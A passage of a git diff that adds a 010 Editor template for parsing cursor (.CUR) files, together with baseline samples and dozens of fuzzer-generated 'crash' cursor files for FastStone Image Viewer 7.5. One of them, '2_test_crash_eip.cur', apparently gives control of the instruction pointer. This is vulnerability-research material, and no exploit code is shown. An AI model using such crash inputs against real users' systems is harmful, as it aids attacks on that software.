diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/010 Editor CUR Template/CUR.bt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/010 Editor CUR Template/CUR.bt new file mode 100644 index 0000000..8820d67 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/010 Editor CUR Template/CUR.bt @@ -0,0 +1,157 @@ +//------------------------------------------------ +//--- 010 Editor v2.0 Binary Template +// +// File: CUR.bt +// Authors: Paolo Stagno aka VoidSec (https://voidsec.com) +// Version: 0.1 +// Purpose: Defines a template for parsing cursor image files. +// Category: Image +// File Mask: *.CUR +// ID Bytes: 00 00 02 00 +// History: +// 0.1 2021-03-09 Paolo Stagno: Initial Structures Release +// +// Based on ICO.bt from SweetScape Software +// Does not support PNG cursor images +// Ref: https://www.daubnet.com/en/file-format-cur +//------------------------------------------------ + +typedef struct { + WORD idReserved ; + WORD idType ; +} SIGNATURE; + +typedef struct { // List of cursors + BYTE bWidth ; + BYTE bHeight ; + BYTE bColorCount ; + BYTE bReserved ; + WORD XHotspot ; + WORD YHotspot ; + DWORD dwBytesInRes ; // Size of (InfoHeader + ANDBitmap + XORBitmap) + DWORD dwImageOffset ; // FilePos, where InfoHeader starts +} CURDIRENTRY ; + +typedef struct { // RGBq + UBYTE rgbBlue ; + UBYTE rgbGreen ; + UBYTE rgbRed ; + UBYTE rgbReserved ; +} RGBQUAD ; + +typedef struct { // RGBt + UBYTE rgbBlue ; + UBYTE rgbGreen ; + UBYTE rgbRed ; +} RGBTRIPLE ; + +typedef struct { // BMIH + DWORD biSize ; + LONG biWidth ; + LONG biHeight ; // added height of XORbitmap and ANDbitmap + WORD biPlanes ; + WORD biBitCount ; + DWORD biCompression ; + DWORD biSizeImage ; // 0 = uncompressed + LONG biXPelsPerMeter ; + LONG biYPelsPerMeter ; + DWORD biClrUsed ; + DWORD biClrImportant ; + } BITMAPINFOHEADER; + +typedef struct { + // Define the color table + if( (bmiHeader.biBitCount != 24) && (bmiHeader.biBitCount != 32) ) { + if( bmiHeader.biClrUsed > 0 ) { + RGBQUAD aColors[ bmiHeader.biClrUsed ]; + }else{ + RGBQUAD aColors[ 1 << bmiHeader.biBitCount ]; + } + } + + // Calculate bytes per line and padding required + local int bytesPerLine = (int)Ceil( bmiHeader.biWidth * bmiHeader.biBitCount / 8.0 ); + local int padding = 4 - (bytesPerLine % 4); + if( padding == 4 ) { + padding = 0; + } + + // Define each line of the image + struct BITMAPLINE { + + // Define color data + if( bmiHeader.biBitCount < 8 ) { + UBYTE imageData[ bytesPerLine ]; + }else if( bmiHeader.biBitCount == 8 ) { + UBYTE colorIndex[ bmiHeader.biWidth ]; + }else if( bmiHeader.biBitCount == 24 ) { + RGBTRIPLE colors[ bmiHeader.biWidth ]; + }else if( bmiHeader.biBitCount == 32 ) { + RGBQUAD colors[ bmiHeader.biWidth ]; + } + // Pad if necessary + if( padding != 0 ) { + UBYTE padBytes[ padding ]; + } + } lines[ bmiHeader.biHeight/2 ]; + + // Define each line of the mask + struct MASKLINE { + UBYTE line[((bmiHeader.biWidth + 31)/32)*4]; + }mask[bmiHeader.biHeight/2]; + +}IMAGEDATA; + +typedef struct { + SetBackColor( cAqua ); + BITMAPINFOHEADER bmiHeader ; + SetBackColor( cDkGray ); + IMAGEDATA data ; +}CURIMAGE ; + +//--------------------------------------------- +// Custom read functions - this allows the data to be displayed without having to open up the structure. + +string ReadCURDIRENTRY( CURDIRENTRY &dirEntry ) { + string s; + SPrintf( s, "%dx%d %d colors", dirEntry.bWidth, dirEntry.bHeight, dirEntry.bColorCount ); + return s; +} + +string ReadDIBHeader( CURIMAGE &image ) { + string s; + SPrintf( s, "%dx%d %dbit", image.bmiHeader.biWidth, image.bmiHeader.biHeight, image.bmiHeader.biBitCount ); + return s; +} + +string ReadRGBQUAD( RGBQUAD &a ) { + string s; + SPrintf( s, "#%02X%02X%02X%02X", a.rgbReserved, a.rgbRed, a.rgbGreen, a.rgbBlue ); + return s; +} + +string ReadRGBTRIPLE( RGBTRIPLE &a ) { + string s; + SPrintf( s, "#%02X%02X%02X", a.rgbRed, a.rgbGreen, a.rgbBlue ); + return s; +} +//--------------------------------------------- + +// Define the headers +LittleEndian(); + +local short res = ReadShort( FTell() ); +local short type = ReadShort(FTell() +2 ); + +//Check cursor +if( res != 0 || type != 2) { + Warning( "File is not an Cursor. Template stopped." ); + return -1; +} + +SetBackColor( cNone ); +SIGNATURE signature ; +WORD idCount ; +CURDIRENTRY idEntries[idCount] ; +// https://www.sweetscape.com/010editor/manual/ArraysDuplicates.htm#Optimizing%20Arrays%20of%20Structs +CURIMAGE images[idCount] ; \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample1.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample1.cur new file mode 100644 index 0000000..7d58eec Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample1.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample2.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample2.cur new file mode 100644 index 0000000..6e7bee4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample2.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample3.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample3.cur new file mode 100644 index 0000000..0730a49 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Baseline Sample/sample3.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/1_test_crash.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/1_test_crash.cur new file mode 100644 index 0000000..2f3b540 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/1_test_crash.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/2_test_crash_eip.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/2_test_crash_eip.cur new file mode 100644 index 0000000..7ccf1ef Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/2_test_crash_eip.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10083.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10083.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10083.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10365.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10365.cur new file mode 100644 index 0000000..a35f688 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10365.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10563.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10563.cur new file mode 100644 index 0000000..c45ab50 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10563.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10624.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10624.cur new file mode 100644 index 0000000..4152816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10624.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10665.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10665.cur new file mode 100644 index 0000000..289c353 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_10665.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11010.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11010.cur new file mode 100644 index 0000000..c4cdf51 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11010.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11655.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11655.cur new file mode 100644 index 0000000..9cb0572 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11655.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11849.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11849.cur new file mode 100644 index 0000000..fcd7934 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11849.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11958.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11958.cur new file mode 100644 index 0000000..389511f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_11958.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12079.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12079.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12079.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12254.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12254.cur new file mode 100644 index 0000000..e58cdfe Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12254.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12642.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12642.cur new file mode 100644 index 0000000..01101a9 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_12642.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13226.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13226.cur new file mode 100644 index 0000000..b12087e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13226.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13605.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13605.cur new file mode 100644 index 0000000..063a009 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13605.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13760.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13760.cur new file mode 100644 index 0000000..a451373 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_13760.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14180.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14180.cur new file mode 100644 index 0000000..4829aeb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14180.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14348.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14348.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14348.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14412.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14412.cur new file mode 100644 index 0000000..b946113 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14412.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14786.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14786.cur new file mode 100644 index 0000000..ecb707f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_14786.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15040.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15040.cur new file mode 100644 index 0000000..eec4aa8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15040.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15228.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15228.cur new file mode 100644 index 0000000..07ac61a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15228.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15660.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15660.cur new file mode 100644 index 0000000..2f76535 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15660.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15718.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15718.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15718.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15880.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15880.cur new file mode 100644 index 0000000..91725f3 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_15880.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16249.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16249.cur new file mode 100644 index 0000000..77b8db5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16249.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16416.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16416.cur new file mode 100644 index 0000000..d058f4e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16416.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16450.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16450.cur new file mode 100644 index 0000000..1ab7bae Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16450.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16566.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16566.cur new file mode 100644 index 0000000..69ca0dd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16566.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16574.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16574.cur new file mode 100644 index 0000000..f0e585e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_16574.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1755.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1755.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1755.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17789.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17789.cur new file mode 100644 index 0000000..02ea87c Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17789.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17952.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17952.cur new file mode 100644 index 0000000..01c8f76 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_17952.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18125.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18125.cur new file mode 100644 index 0000000..fee77bd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18125.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18162.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18162.cur new file mode 100644 index 0000000..4df378a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18162.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1849.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1849.cur new file mode 100644 index 0000000..320c2b7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_1849.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18495.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18495.cur new file mode 100644 index 0000000..c062402 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18495.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18634.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18634.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18634.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18652.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18652.cur new file mode 100644 index 0000000..f3a356b Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_18652.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19266.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19266.cur new file mode 100644 index 0000000..91d21a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19266.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19411.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19411.cur new file mode 100644 index 0000000..cf8b867 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19411.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19480.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19480.cur new file mode 100644 index 0000000..94120c1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19480.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19488.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19488.cur new file mode 100644 index 0000000..f2c7ee1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19488.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19852.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19852.cur new file mode 100644 index 0000000..8315df2 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19852.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19928.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19928.cur new file mode 100644 index 0000000..b257d1d Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_19928.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20056.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20056.cur new file mode 100644 index 0000000..b100a30 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20056.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2015.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2015.cur new file mode 100644 index 0000000..1ca80aa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2015.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2021607.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2021607.cur new file mode 100644 index 0000000..e83b324 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2021607.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2022832.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2022832.cur new file mode 100644 index 0000000..ed12e7e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_2022832.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20394.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20394.cur new file mode 100644 index 0000000..e8d286f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20394.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20722.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20722.cur new file mode 100644 index 0000000..80d1455 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20722.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20920.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20920.cur new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20920.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20989.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20989.cur new file mode 100644 index 0000000..c61f816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_20989.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21332.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21332.cur new file mode 100644 index 0000000..78a800e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21332.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21550.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21550.cur new file mode 100644 index 0000000..8beab90 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21550.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21803.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21803.cur new file mode 100644 index 0000000..7c4f337 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21803.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21991.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21991.cur new file mode 100644 index 0000000..1bdcbd4 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_21991.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22022.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22022.cur new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22022.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22260.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22260.cur new file mode 100644 index 0000000..237fb33 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22260.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22512.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22512.cur new file mode 100644 index 0000000..f5cc8e1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22512.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22837.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22837.cur new file mode 100644 index 0000000..0e9cb80 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_22837.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23060.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23060.cur new file mode 100644 index 0000000..4781cd8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23060.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23367.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23367.cur new file mode 100644 index 0000000..98ffecb Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23367.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23849.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23849.cur new file mode 100644 index 0000000..aac3eea Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_23849.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24310.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24310.cur new file mode 100644 index 0000000..9531c97 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24310.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24618.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24618.cur new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_24618.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25142.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25142.cur new file mode 100644 index 0000000..86b8d28 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25142.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25147.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25147.cur new file mode 100644 index 0000000..1f4feb5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25147.cur differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25396.cur b/windows/x86/local/FastStone_Image_Viewer_v.7.5/CUR Crash Samples/test_25396.cur new file mode 100644 index 